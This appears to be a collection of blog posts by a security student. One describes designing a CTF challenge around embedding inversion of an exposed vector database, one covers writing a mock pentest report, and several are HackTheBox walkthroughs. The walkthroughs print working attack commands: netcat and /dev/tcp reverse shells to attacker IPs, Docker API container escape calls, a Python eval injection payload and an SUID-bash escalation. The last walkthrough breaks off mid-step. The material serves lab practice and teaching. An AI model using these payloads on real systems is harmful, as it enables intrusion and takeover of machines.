Inspiration

I recently watched Patrick Walsh’s lecture from DEF CON 33 that single-handedly inspired this project, where, being already familiar with some other ideas Walsh expressed very elegantly in his talk (prompt engineering and the like), really enjoyed his demo on inversion attacks showcased with the vec2text tool.

SentinelOne defines Model Inversion Attacks as “reverse-engineering machine learning models to extract sensitive information about their training data, exploiting model outputs and confidence scores through iterative queries.” By “model outputs,” SentinalOne is specifically talking about embedding matrices, which are the unintelligible numbers that some machine learning models (like LLMs) use to perform calculations and produce a final output. However, the idea of embedding documents into “vectors” has been around for a while now, and besides just reverse-engineering not-very-accessible vector embeddings from frontier language models, the specific embedding inversion attack illustrated in Walsh’s talk (and seemingly more talked about as of recent) is targeted more-so at RAG (Retrieval Augmented Generation) systems. A document gets embedded, stored in a vector DB, and retrieved by similarity search to feed context back into an LLM. If that vector DB is exposed, so are the documents it was supposed to protect.

Such an attack can be visualized below. In this instance, a vulnerable database stores vector embeddings. This can be very valuable to an attacker who can perform inversion attacks. DEF CON 33 - Exploiting Shadow Data from AI Models and Embeddings. Source

Given that I was actively searching for an opportunity to develop a challenge for this CTF event around the time I saw the video, it felt natural that I’d introduce the ~3,000 players to what I’d just found out about. I’d also gain some hands-on experience applying this redteaming technique.

Designing The Challenge

The specifics of the challenge changed throughout, but the primary idea remained mostly intact. It’s final playthrough is something like:

1. A concerned CEO forwards an article about RAG security to his sysadmin.

2. The sysadmin appreciates the advice but assures the CEO that vector embeddings are a practically non-reversible, hash-like list of values.

3. The sysadmin’s carelessness leaves a vector database open for query by anybody with no authentication, with some contents stored in plaintext and some stored purely as embedding vectors.

4. To obtain the flag, the player must generate a custom ruleset to crack a leaked hash, the rules of which are obtained by inverting one of the entries in the database using vec2text.

I went ahead and picked the most convenient option for a vector database, which I found to be ChromaDB given it’s plug-and-play Python library.

When it came to choosing which information to have the player invert, I learned through experimentation - but also by drawing on my understanding of the volatility of token placement - that expecting a string to be extracted precisely was going to be impossible. This is why I opted for the inversion candidate not to be a flag, hash, or other dense string, but rather something like a set of instructions, like a list of minimum password requirements. An illustration of the tokenization process. Source

Initially, I kept things as close to a realistic deployment as possible by having Chroma ingest some strings and allow the software to embed the sensitive data itself. The player would have to discover the ChromaDB instance, extract these documents/strings from the database, and then use vec2text to perform the inversion attack. As you’ll see, this wasn’t a feasible option.

The Compute Factor

I naively went into this project anticipating a rich cluster of GPUs at the disposal of the organizers of the event, so I was testing vec2text’s effectiveness with as many n_steps (the number of times vec2text’s corrector would iterate to reduce loss between guessed inversions and the real embeddings) as would be necessary for producing an accurate inversion. That assumption was unfortunately not true. I had to find some way to optimize the challenge in a way where the number of iterations that a player would use would be high enough to yield an accurate-enough result while not being so high as to not be able to be ran on anything other than a GTX 5060.

While optimizing for my modest laptop CPU to perform the inversion attack in under a minute, the output was quite a bit lossy in the sense that inverting the string of interest led to inconsistent and poor results. Luckily, vec2text has utility functions to take some strings and create its own embeddings based on any HuggingFace model. So, I stored embeddings pre-computed by vec2text in Chroma, so that when a player exfiltrates the embeddings, there would be no doubt about the accuracy (as long as they enter the correct parameters). A visual explaining the differences in ingestion approaches. Source: Claude Sonnet 5

I also had to try a few variations of the original string as well as tweaking the value of vec2text’s “beam_width,” which essentially just seeds the randomization of the inversion, leading to higher accuracy and consistency. I didn’t dig deep into how beam_width works internally, but this is how I understand it.

Completing The Challenge

Information that a player would need to make the inverted minimum password requirements useful (a SHA256 hash and a “magic string”) is stored in plaintext on the database, rewarding them for their enumeration and leading them to the right path. Metadata included in the database also includes the model that was used to embed the vectors which would’ve been necessary for performing the attack.

As mentioned earlier, a player would have to use the minimum password requirements to construct a custom ruleset including a reasonably-sized arbitrary string of text placed in an arbitrary position in the context of the real password (a “magic string”). This also doesn’t include two specific characters that are prepended to the password. Using this custom ruleset and the SHA256 hash to compare attempts to, a player would use a password-cracking utility like hashcat’s “Mask Attack”.

The purpose of the “magic string” is to simultaneously introduce complexity to the password as to not be guessed by pure brute force while also shifting some of the burden of this complexity from the information to be extracted during the inversion process onto the metadata discovery process.

Finally, this password acts as a key to unzip a password-protected 7z file found in a few steps earlier during the challenge through an SSRF exploit, leading to the flag.

Mitigation

In the challenge I developed, the “sysadmin” took only some partial appropriate steps for securing the sensitive information in the RAG database. Let alone the problematic architectural choices of unauthenticated retrieval, writing, and full access to the database, only one of the sensitive documents was stored without the plaintext metadata to accompany it. The following are a list of guidelines that, if in a real-world scenario, I would recommend to the people deploying the application that this challenge hosts.

1. Do not allow unauthenticated, arbitrary access to any internal company store or API. This one should go unsaid. Applications intended for internal use only should only be accessible… internally. That means network segmentation, such as whitelisting select LAN IPs (unless a more robust and secure tunneling approach is used) AND at least any amount of HTTP security like Basic Auth or Token Auth (through .htpasswd and Chroma environment variables).

2. Do not store sensitive information in plaintext. The documents stored in the vector database in this challenge, while being embedded and ready for use in the RAG, should have any associated plaintext stripped. Of course, embeddings are still prone to inversion attacks as shown in this post (and should NOT be assumed to be irreversible), but removing this plaintext would greatly reduce the attack surface.

3. Do not store unnecessary information where it doesn’t belong. There’s no legitimate reason to embed secrets and hashes in a RAG system. Besides just the security implications of doing so, LLMs shouldn’t be expected to extract super-rich semantically dense text. Also, LLMs should retrieve sensitive information like records, credentials and other secrets, and miscellaneous PII from tool/function calls that use traditional access-control approaches. More information about how LLMs and their RAGs are unreliable as arbiters of who has access to their own information can be found at OWASP’s guidance on access control inheritance in RAG.

Conclusion

Writing this challenge was an excellent opportunity to get familiar with LLM-related attack vectors on a much deeper level than simply completing a challenge somebody else wrote for me. Besides just that lane of attacks, building the infrastructure leading up to the actual inversion attack let me become more intimate with how things like PHP access control works and how important proper network segmentation is to the integrity of a data pipeline. Learning how to construct a complex Docker project was also a very valuable experience for me throughout the building of this project. While I haven’t had the chance to poll opinions from players yet, that feedback will be crucial for improving my understanding of the concepts I implemented in this challenge.

They themselves were fascinated by what our school’s award winning C3 team does twice per year in their CCDC competitions. UCF C3 team earlier this year during the NCCDC competition.

During the course of 24 hours, a team of no more than 10 people participate in a hackathon-like competition to probe, poke at, and, finally, document vulnerabilities of a multi-machine network that culminates in a typically ~100-page report that simulates a real-world penetration test.

Myself and my friend, Stephen, set out to take any HackTheBox machine and do the same thing. In the process, we learned a lot!

Hacking the Box

If you’re not already aware, HackTheBox is a free platform that allows users to break into intentionally vulnerable machines and “capture the flag” that awaits for the user upon successful exploitation. My friends and I use this website a ton to practice our redteaming skills (we even keep a scoreboard on the UCF Discord server).

Silentium is an easy-rated, CVE-heavy HackTheBox machine that allowed us to focus mostly on the technical writing aspect of this challenge and less of the redteaming part. In the future, I’d like to make more mock reports on machines offered by HackTheBox that allow me to go into more detail on specific processes for exploiting the system rather than the technical details (sometimes a bit over our head) offered by the exploit we stumbled across while enumerating the machine for vulnerabilities.

Gathering Inspiration

The first thing we had to ask before going in and writing was: “what does a real, official pentest report look like?” Luckily, we didn’t have to wonder. There are plenty of resources out in the wild that offered us a glimpse into how pentest reports are structured - textually and visually. So, we spent a lot of time perusing this repository and compiling visual elements throughout the writing process that we found cool. More importantly, it gave us some insight into the appropriate length of certain sections, where figures should be inserted, and small things like tone selection.

Writing

It just so happens that the semester in college that we wrote this report was the semester that I was taking a professional writing class, which not only meant that my writing muscles had been worked recently, but also that I understood a key part of writing professional reports. What I had in mind was to balance the report in a “PAM” triangle, meaning not just prioritizing the Purpose of the report, but also the Message and how it’s conveyed, and the Audience it’s written for. This appears to be an adaptation of Aristotle’s Rhetorical Triangle. One variation of the Rhetorical Triangle.

Essentially it just reminded us that for the purposes of this “assignment”, we’d be writing so that the report can be understood across a wide spectrum of C-suites, senior-level technicians, and lower-level vulnerability researchers and security engineers. After all, the people at a company that approve a large sum of money to be used for commissioning a pentest report want to understand the value that they received from such an investment. Likewise, the details of a successful exploitation by the pentesters is a useful vector for anybody at the company that works to secure their digital infrastructure.

To cover each of the roles we were catering to, each section existed for a purpose. For instance, plenty of summaries existed before the meat of the report (findings and their CVSS scores). This provided an introduction to the specifics of the engagement to ground not only potentially tech-unsavvy individuals but also their engineers. Even in the individual finding reports, impact summaries are provided to help an employee understand the scope of a particular issue.

Providing engineers with clear reproduction steps will go a long way in helping them quickly identify where the issue exists and remediating it, with or without our suggestions.

Equally (and arguably more) effective for communicating some of these ideas at a high-level are visuals.

Visuals

One important aspect of writing an effective report is conveying things visually, like the layout of the network. Below, I documented the attack chain that a threat actor could take to gain root access on the host system, incorporating the network architecture into said path. A visual that I created with draw.io

We also wanted to highlight the most important vulnerabilities that we found in the stack before any others. So, the assessment findings are sorted from highest to least severity and color-coded accordingly. Further, in a heavily-inspired way from a “Vuln Table” I had seen in the repository mentioned earlier, we kept things brief and “compressed”. Also, hyperlinks! Assessment findings in the report followed by our vulnerability summary table

Code blocks are presented inside of a 1x1 table in monospace font; censor sensitive information:

Quote blocks are not the same as code blocks:

Conclusion

I gained valuable soft skills throughout this exercise like designing visuals, working with word editors, and conveying complex ideas to a wide range of people. It also tested my understanding of the very engagement that my friend and I spent no longer than a day on (plus one more in the beginning of the CTF). I hope to produce more like this in the future!

Reconnaissance

Port and service scanning was performed on the target using nmap. It revealed an HTTP (insecure) webserver and a Microsoft HTTPAPI server, confirming the fact that this IP is associated with a Microsoft machine.

80/tcp   open  http    nginx
|_http-title: Did not follow redirect to http://monitorsfour.htb/
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Enumeration on files and pages from the root directory of the resolved domain name (monitorsfour.htb) revealed information like a login and user path:

contact                 [Status: 200, Size: 367, Words: 34, Lines: 5, Duration: 74ms]
user                    [Status: 200, Size: 35, Words: 3, Lines: 1, Duration: 199ms]
login                   [Status: 200, Size: 4340, Words: 1342, Lines: 96, Duration: 199ms]
static                  [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 53ms]
views                   [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 181ms]
controllers             [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 159ms]
forgot-password         [Status: 200, Size: 3099, Words: 164, Lines: 84, Duration: 206ms]

monitorsfour.htb/login

Seeing as the login page was using a basic login form handled through a single POST request (/forgot-password), SQL injection (SQLi) opportunities were tested for using the tool sqlmap. No immediate SQLi vulnerabilities were made available through this process.

One of the discovered webpages: /user, contained query parameters in its URL which is problematic because it allows for easy fuzzing for valid queries and their values.

monitorsfour.htb/user

Using the enumeration tool ffuf, a list of potential parameter names was tested against the hidden webpage, revealing the token parameter.

└─$ ffuf -u http://monitorsfour.htb/api/v1/user?FUZZ=test -w burp-parameter-names.txt -c -fs 35

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://monitorsfour.htb/api/v1/user?FUZZ=test
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 35
________________________________________________

token                   [Status: 200, Size: 32, Words: 3, Lines: 1, Duration: 356ms]
:: Progress: [6453/6453] :: Job [1/1] :: 61 req/sec :: Duration: [0:01:28] :: Errors: 0 ::

Manual enumeration in the value field of the URL with the found parameter (monitorsfour.htb/user?token=<int>) revealed potentially sensitive information about users on the /login portal, including insecure MD5 hashes (a computationally inexpensive cryptographic algorithm).

[{"id":2,"username":"admin","email":"admin@monitorsfour.htb","password":"56b32eb43e6f15395f6c46c1c9e1cd36","role":"super user","token":"8024b78f83f102da4f","name":"Marcus Higgins","position":"System Administrator","dob":"1978-04-26","start_date":"2021-01-12","salary":"320800.00"},{"id":5,"username":"mwatson","email":"mwatson@monitorsfour.htb","password":"69196959c16b26ef00b77d82cf6eb169","role":"user","token":"0e543210987654321","name":"Michael Watson","position":"Website Administrator","dob":"1985-02-15","start_date":"2021-05-11","salary":"75000.00"},{"id":6,"username":"janderson","email":"janderson@monitorsfour.htb","password":"2a22dcf99190c322d974c8df5ba3256b","role":"user","token":"0e999999999999999","name":"Jennifer Anderson","position":"Network Engineer","dob":"1990-07-16","start_date":"2021-06-20","salary":"68000.00"},{"id":7,"username":"dthompson","email":"dthompson@monitorsfour.htb","password":"8d4a7e7fd08555133e056d9aacb1e519","role":"user","token":"0e111111111111111","name":"David Thompson","position":"Database Manager","dob":"1982-11-23","start_date":"2022-09-15","salary":"83000.00"}]

Confirming the use of MD5

One of the users’ hashes, admin, contained a weak password which is also documented in a well-known database of leaked passwords known as “rockyou”.

hashcat -m 0 ~/Documents/htb/monitorsfour/admin_hash rockyou.txt
...
56b32eb43e6f15395f6c46c1c9e1cd36:wonderful1

These credentials were tested to gain access to the MonitorsFour dashboard through the /login portal which, in conjunction with the users shown in the second image below, confirm that the credentials found earlier are representative of the MonitorsFour dashboard users. monitorsfour.htb/dashboard

Above, user admin’s first name, Marcus, is highlighted as it was useful for later credentials testing.

Enumeration on subdomains was performed on monitorsfour.htb using ffuf revealing cacti.monitorsfour.htb.

└─$ ffuf -u http://monitorsfour.htb -H "Host: FUZZ.monitorsfour.htb" -w subdomains-top1million-20000.txt -c -fs 138

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://monitorsfour.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.monitorsfour.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 138
________________________________________________

cacti                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 55ms]
:: Progress: [19966/19966] :: Job [1/1] :: 716 req/sec :: Duration: [0:00:28] :: Errors: 0 ::

cacti.monitorsfour.htb/cacti

Foothold

Basic searches on the version of the Cacti framework listed near the footer of the login page (as seen above) made available a CVSS 8.8 rated vulnerability (CVE-2025-24367) which allows authenticated users to take advantage of improper sanitization in the graph creation mechanism to execute code remotely (netniV). Other methods involving unauthenticated exploits with this server were explored, but through more rigorous credential guessing, the previously found user, admin, had reused their password to authenticate with username “marcus” in the Cacti dashboard.

CVE-2025-24367 is available for simple exploitation using the Metasploit framework tool msfconsole, using the module titled: multi/http/cacti_graph_template_rce It’s trivial to achieve a remote reverse shell using this module.

Note

When the reverse shell was established, it’s notable to applaud the safeguards of the deployers of this application for running the cacti framework as an unprivileged, dedicated user wwwdata.

Mitigation

Update Cacti to >v1.2.28 to prevent users from escaping rrdtool using newline characters. Source

Privilege Escalation

The container that Cacti sits in appeared to be of the WSL type. The following is the output of uname -a.

Linux version 6.6.87.2-microsoft-standard-WSL2 (root@439a258ad544) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP PREEMPT_DYNAMIC Thu Jun  5 18:30:46 UTC 2025

wwwdata had access to a number of sensitive documents such as an environment variable and cacti’s config.php, each containing sensitive credentials related to the databases of both the Cacti and MonitorsFour websites. The following few blocks of bash are excerpts from the Linux enumeration tool linpeas.sh.

╔══════════╣ Analyzing Env Files (limit 70)
-rwxr-xr-x 1 www-data www-data 97 Sep 13  2025 /var/www/app/.env
DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r
...
╔══════════╣ Analyzing Cacti Files (limit 70)
drwxr-xr-x 1 www-data www-data 4096 Apr 30 03:36 /var/www/html/cacti
-rwxr-xr-x 1 www-data www-data 7159 Sep 13  2025 /var/www/html/cacti/include/config.php
$database_type     = 'mysql';
$database_default  = 'cacti';
$database_username = 'cactidbuser';
$database_password = '7pyrf6ly8qx4';
$database_port     = '3306';
$database_ssl      = false;
$database_ssl_key  = '';
$database_ssl_cert = '';
$database_ssl_ca   = '';
#$rdatabase_type     = 'mysql';
#$rdatabase_default  = 'cacti';
#$rdatabase_username = 'cactiuser';
#$rdatabase_password = 'cactiuser';
#$rdatabase_port     = '3306';
#$rdatabase_ssl      = false;
#$rdatabase_ssl_key  = '';
#$rdatabase_ssl_cert = '';
#$rdatabase_ssl_ca   = '';

wwwdata also had write privileges on each of these databases. This was demonstrated by overwriting the bcrypt and MD5 password hashes located in the Cacti and MonitorsFour databases, respectively. These changes to the hash were immediately reflected in the web applications as well.

linpeas.sh also identified mounted files to the Cacti container from it’s host including files /etc/resolv.conf, /etc/hostname and /etc/hosts. mounted files

/etc/resolv.conf, a DNS resolving config file, exposed more information about the environment to a potential attacker, confirming a previous finding in the MonitorsFour dashboard that exposes the version number of the Docker Engine version that’s hosting the Cacti and MonitorsFour dashboards.

Recalling from monitorsfour.htb:

A known proof of concept exists for the vulnerability CVE-2025-9074, which “allows local running Linux containers to access the Docker Enginer API.” (SentinalOne) Additionally: “On Docker Desktop for Windows with the WSL backend, the vulnerability additionally allows mounting the host drive with the same privileges as the user running Docker Desktop, potentially leading to complete host compromise.”

However, this script was not helpful in demonstrating a successful exploitation of this vulnerability, as the container doesn’t have Python installed. However, it did have access to web tools like curl, which can also be used to interact with the API of the default IP address (192.168.65.7). The steps to reproducing the exploit through the use of individual API calls are as follows.

Steps for Recreation: CVE-2025-9074

1. Check available images: curl http://192.168.65.7:2375/images/json 2>/dev/null | grep -o '"RepoTags":\["[^"]*"'

2. Create a container with the Windows C:\ drive (default letter) mounted:

curl -s -X POST http://192.168.65.7:2375/containers/create \
  -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine",
    "Cmd": ["sh", "-c", "sleep 3600"],
    "HostConfig": {
      "Binds": ["/mnt/host/c:/host_root"]
    }
  }'
  
<ID_RETURNED_HERE>

3. Using the returned container ID, start it: curl -s -X POST http://192.168.65.7:2375/containers/<ID>/start

4. Create an exec instance of a given command (returning a new ID):

curl -s -X POST http://192.168.65.7:2375/containers/<CONTAINER_ID>/exec \
  -H "Content-Type: application/json" \
  -d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Tty":true,"Cmd":["sh","-c","rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.205 4444 >/tmp/f"]}'
  
<ID_RETURNED_HERE>

5. Trigger the command exec handle by sending a POST request to /start:

curl -s -X POST http://192.168.65.7:2375/exec/<EXEC_ID>/start -H "Content-Type: application/json" -d '{"Detach":false,"Tty":false}'

Reconnaissance

┌──(mike㉿thinkpad)-[~]
└─$ nmap -sC -sV 10.129.25.113
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-03 16:49 EDT
Nmap scan report for 10.129.25.113
Host is up (0.071s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_  256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp  open  http     Jetty
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
443/tcp open  ssl/http Jetty
| http-methods:
|_  Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=mirth-connect
| Not valid before: 2025-09-19T12:50:05
|_Not valid after:  2075-09-19T12:50:05
|_http-title: Mirth Connect Administrator
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.51 seconds

The web page:

I’ll download the launcher/installer using curl, and identify the version number (4.4.0):

<jnlp codebase="http://10.129.25.113:80" version="4.4.0">
    <information>
        <title>Mirth Connect Administrator 4.4.0</title>
        <vendor>NextGen Healthcare</vendor>
        <homepage href="http://www.nextgen.com"/>
        <description>Open Source Healthcare Integration Engine</description>
        <icon href="images/NG_MC_Icon_128x128.png"/>
        <icon href="images/MirthConnect_Logo_WordMark_Big.png" kind="splash"/>

Foothold

Mirth Connect version 4.4.0 corresponds to a well-known CVE-2023-43208 which can be exploited using jakabakos’ PoC. We can pass a command here which I’ll assume can be a standard reverse shell: bash -c 'bash -i >& /dev/tcp/10.10.14.84/4444 0>&1' where we set up a netcat listener on 4444: nc -lvnp 4444. Unfortunately, this wasn’t successful. I decided to pass a no-space base64 encoded string into the PoC by first encoding the shell:

echo -n 'bash -i >& /dev/tcp/10.10.14.84/4444 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44NC80NDQ0IDA+JjE=

Then it’s as simple as:

python3 CVE-2023-43208.py -u https://10.129.25.113/ -c "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44NC80NDQ0IDA+JjE=}|{base64,-d}|bash"

User Privilege Escalation

Peering around in our files we see conf/mirth.properties which reveals a mariadb username and password, which is running on our box (denoted by port 3306):

mirth@interpreter:/usr/local/mirthconnect$ ss -tlnp
State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess
LISTEN 0      80         127.0.0.1:3306       0.0.0.0:*
LISTEN 0      128          0.0.0.0:22         0.0.0.0:*
LISTEN 0      50           0.0.0.0:80         0.0.0.0:*    users:(("java",pid=3513,fd=327))
LISTEN 0      128        127.0.0.1:54321      0.0.0.0:*
LISTEN 0      50           0.0.0.0:443        0.0.0.0:*    users:(("java",pid=3513,fd=331))
LISTEN 0      256          0.0.0.0:6661       0.0.0.0:*    users:(("java",pid=3513,fd=335))
LISTEN 0      128             [::]:22            [::]:*

Database mc_bdd_prod contains tables PERSON and PERSON_PASSWORD, where PERSON_PASSWORD contains a hash (denoted by the column “PASSWORD”) in some format. The PERSON_ID column that matches with the only hash in the table is 2, which aligns with username sedric listed in table PERSON. Our next step is figuring out what kind of hash this is: sedric hash: u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==

A quick Google search for “mirth connect hash format” reveals that Mirth Connect versions >=4.4.0 uses a “PBKDF2WithHmacSHA256” hash type with a default iteration count of 600000. Our hash is 40 bytes:

echo "u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==" | base64 -d | wc -c
40

It’s likely that our 8 extra bytes (considering that SHA256 is 32 bytes, 256 bits = 32 bytes) is our salt. To extract our hash, we:

1. Decode our base64-encoded hash: | base64 -d
2. Grab the first 8 bytes: | head -c 8
3. Re-encode our extracted 8 bytes into base64: | base64

In full: echo "u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==" | base64 -d | head -c 8 | base64 (for the first 8 bytes) Using tail -c 32 to grab the last 32 bytes will likely be our unsalted hash. Combining our results in the format of salt:hash, and prepending the necessary specs (SHA-256 and iteration count), we get the following base64-encoded string (with colons separating the salt from the hash):

sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=

After using hashcat to crack our password, we can ssh into the machine using our credentials for the user sedric.

Root Privilege Escalation

I decided to run the enumeration tool linpeas.sh once again to see if any certain files or privileges were made available exclusively to the user sedric. I went down a few rabbit holes before I fully checked out the API server being hosted on localhost port 54321 with the code available to read at /usr/local/bin/notif.py.

#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os
...
@app.route("/addPatient", methods=["POST"])
def receive():
    if request.remote_addr != "127.0.0.1":
        abort(403)

From the snippet above, we can infer that making POST requests to the endpoint /addPatient must be done through localhost (which isn’t a problem with a shell on user sedric). Importantly, we can see that anything executed by this API server is executed by user root:

sedric@interpreter:~$ ls -l /usr/local/bin/notif.py
-rwxr----- 1 root sedric 2332 Sep 19  2025 /usr/local/bin/notif.py

Just to confirm that we can make XML requests to this endpoint, we’ll craft a standard dummy request (using wget because curl is not available on this box):

wget -q -O - --post-data='<patient><firstname>John</firstname><lastname>Smith</lastname><sender_app>app</sender_app><timestamp>12/12/2024</timestamp><birth_date>01/01/1990</birth_date><gender>M</gender></patient>' --header='Content-Type: application/xml' http://127.0.0.1:54321/addPatient
Patient John Smith (M), 36 years old, received from app at 12/12/2024

Taking a closer look at notif.py reveals an interesting fact, that the accepted regex pattern that our POST requests are passed through includes strange characters ({}, (), _, etc.) that we can use to pass in arbitrary Python code:

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"

More information about Python code injection can be found here and here.

So, we can craft a payload that executes arbitrary Python code as root by passing a POST request from any user on localhost. I guess it’s suitable to create an SUID binary. To make our payload easier to read, we’ll put the bulk of what we want root to execute in a world-readable file in /tmp/pwn.sh:

echo "cp /bin/bash /tmp/bash && chmod +s /tmp/bash" > /tmp/pwn.sh

Where we put a copy of a bash binary in a directory that sedric has full permissions of (like /tmp) and give it improper SUID permissions (chmod +s).

We’ll craft our XML request to inject a Python expression into the firstname field. Since the server passes this field directly into an eval()’d f-string, wrapping our payload in {} causes it to be executed as Python code by the root-owned process:

wget -q -O - --post-data='<patient><firstname>{__import__("os").popen("/tmp/pwn.sh").read()}</firstname><lastname>Smith</lastname><sender_app>app</sender_app><timestamp>12/12/2024</timestamp><birth_date>01/01/1990</birth_date><gender>M</gender></patient>' --header='Content-Type: application/xml' http://127.0.0.1:54321/addPatient
Patient  Smith (M), 36 years old, received from app at 12/12/2024

Using flag -p to call /tmp/bash, we specify that we want to run with the effective UID of root: sedric@interpreter:~$ /tmp/bash -p

Reflection

I learned some really cool things during this engagement. The first thing I learned about was that some boxes are privy to weird characters, notably the ones found in reverse shells. A straightforward way to get around this is to base64 encode the payload with the many shell-escaping characters it may include.

I also learned a bit about hashes. SHA256, as its name implies, is 256 bits = 32bytes, and we could potentially identify an embedded salt in a hash if we find that its byte count exceeds the expected value. Extracting the individual salt and password bytes and concatenating them into a single base64 string (with a delineator of some kind) was what led to a successful crack.

I got to learn about XML Python injection as well as be reminded of SUID manipulation for privilege escalation.

Reconnaissance

I ran a standard nmap service scan:

Not shown: 986 filtered tcp ports (no-response), 10 filtered tcp ports (admin-prohibited)
PORT     STATE  SERVICE    VERSION                                                                     
22/tcp   open   ssh        OpenSSH 9.6 (protocol 2.0)                                                   
80/tcp   open   http       nginx 1.21.5                                                                 
443/tcp  closed https                                                                                   
8080/tcp closed http-proxy   

I navigated to the web server, which had an unresolvable domain name: pterodactyl.htb. I added the IP to my hosts to resolve it in my browser:

I did a fuzz using SecList’s raft-medium-files on the root directory, adding php and txt extensions just as a standard practice: ffuf -u http://pterodactyl.htb/FUZZ -w raft-medium-files.txt -e .php,.txt -c

The fuzz returned files such as index.php, phpinfo.php, global.css, and changelog.txt. Some things in changelog included useful version information about the server like: “[Installed] Pterodactyl Panel v1.11.10”, “MariaDB 11.8.3 backend.” We’ll also collect information in phpinfo.php which is a valuable trove of config information related to the PHP server.

I also make it a habit to enumerate through subdomains, which returned a panel.pterodactyl.htb:

After iterating for a while through various version numbers found in phpinfo.php for vulnerabilities, I found a critical severity exploit titled CVE-2025-49132 with arbitrary write privileges consistent with changelog.txt’s claim of the server’s Minecraft Pterodactyl Panel <v1.11.9. A PoC published by YoyoChaud)allowed for easy testing.

Upgrading TTY without Python

I’m used to getting a clearer shell by using Python, but that’s not installed n this box. We can also use the script command to effectively do the same thing:

script /dev/null -c bash

And then proceed with the standard backgrounding: Ctrl+Z, echoing the terminal and bringing the background process to the foreground: stty raw -echo; fg, using reset and export TERM=xterm.

User Privilege Escalation

Earlier, in php.info, we discovered that a mysqli server also runs on the server on it’s default port, 3306. This is confirmed when we run env to output environment variables to our terminal (truncated):

DB_PORT=3306
DB_HOST=127.0.0.1
HASHIDS_SALT=pKkOnx0IzJvaUXKWt2PK
PWD=/var/www/pterodactyl/public
APP_KEY=base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=
DB_PASSWORD=PteraPanel
APP_URL=http://panel.pterodactyl.htb
DB_USERNAME=pterodactyl
APP_SERVICE_AUTHOR=pterodactyl@pterodactyl.htb
SESSION_DRIVER=redis
DB_CONNECTION=mysql
DB_DATABASE=panel
_=/usr/bin/env

We can connect by using mysql on the box: mysql -u pterodactyl -pPteraPanel, but: ERROR 1045 (28000): Access denied for user 'pterodactyl'@'localhost' (using password: YES)

I figure I’ll manually specify 127.0.0.1 rather than allowing mysql to resolve to localhost using -h 127.0.0.1, and I can successfully see our databases, notably the locked panel:

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| panel              |
| test               |
+--------------------+
3 rows in set (0.001 sec)

panel’s users table contains some hashes (of which I couldn’t crack):

